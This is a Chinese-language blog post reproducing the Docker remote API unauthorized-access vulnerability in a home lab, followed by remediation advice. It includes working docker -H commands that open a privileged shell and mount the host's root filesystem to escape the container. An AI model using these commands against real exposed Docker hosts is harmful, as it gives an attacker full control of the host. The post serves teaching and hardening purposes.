Docker API 未授权访问漏洞复现

本文章仅限于学习网络安全知识、自行修复漏洞、提高安全警惕等!禁止用于非法不当用途!

一、环境介绍

靶机:PVE LXC容器搭建的ubuntu:24.04系统,已经安装Docker服务,开启api访问(192.168.2.194:2375)

攻击机:自己的电脑,已经安装Docker环境

二、漏洞检查

如果能访问192.168.2.194:2375/version,则证明该漏洞并未修复

20241220214410560-image

三、漏洞复现

1.在电脑上执行远程创建容器命令

docker -H tcp://192.168.2.194:2375 run -it --privileged alpine  /bin/sh

20241220215648434-image

在终端启动一个有交互的shell,并且是特权镜像,当操作者执行docker run —privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。

2.挂载宿主机目录卷,并尝试添加文件

docker -H tcp://192.168.2.194:2375 run -it --privileged -v /:/data alpine  /bin/sh

20241220220236893-image

3.检查宿主机是否新增该文件(是否逃逸)

20241220220316524-image

四、漏洞修复

  1. 编辑/usr/lib/systemd/system/docker.service文件,删除-H tcp://0.0.0.0:2375 API访问,仅使用sock访问Docker
  2. 添加防火墙策略,仅限特定IP可访问Docker API服务

五、漏洞总结

非不要请不要将业务端口公布到外网,避免造成未经授权的访问,运维人员还要定期检查系统存在的安全隐患,并进行修复!


广告:

© 版权声明
THE END
喜欢就支持一下吧
点赞8 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容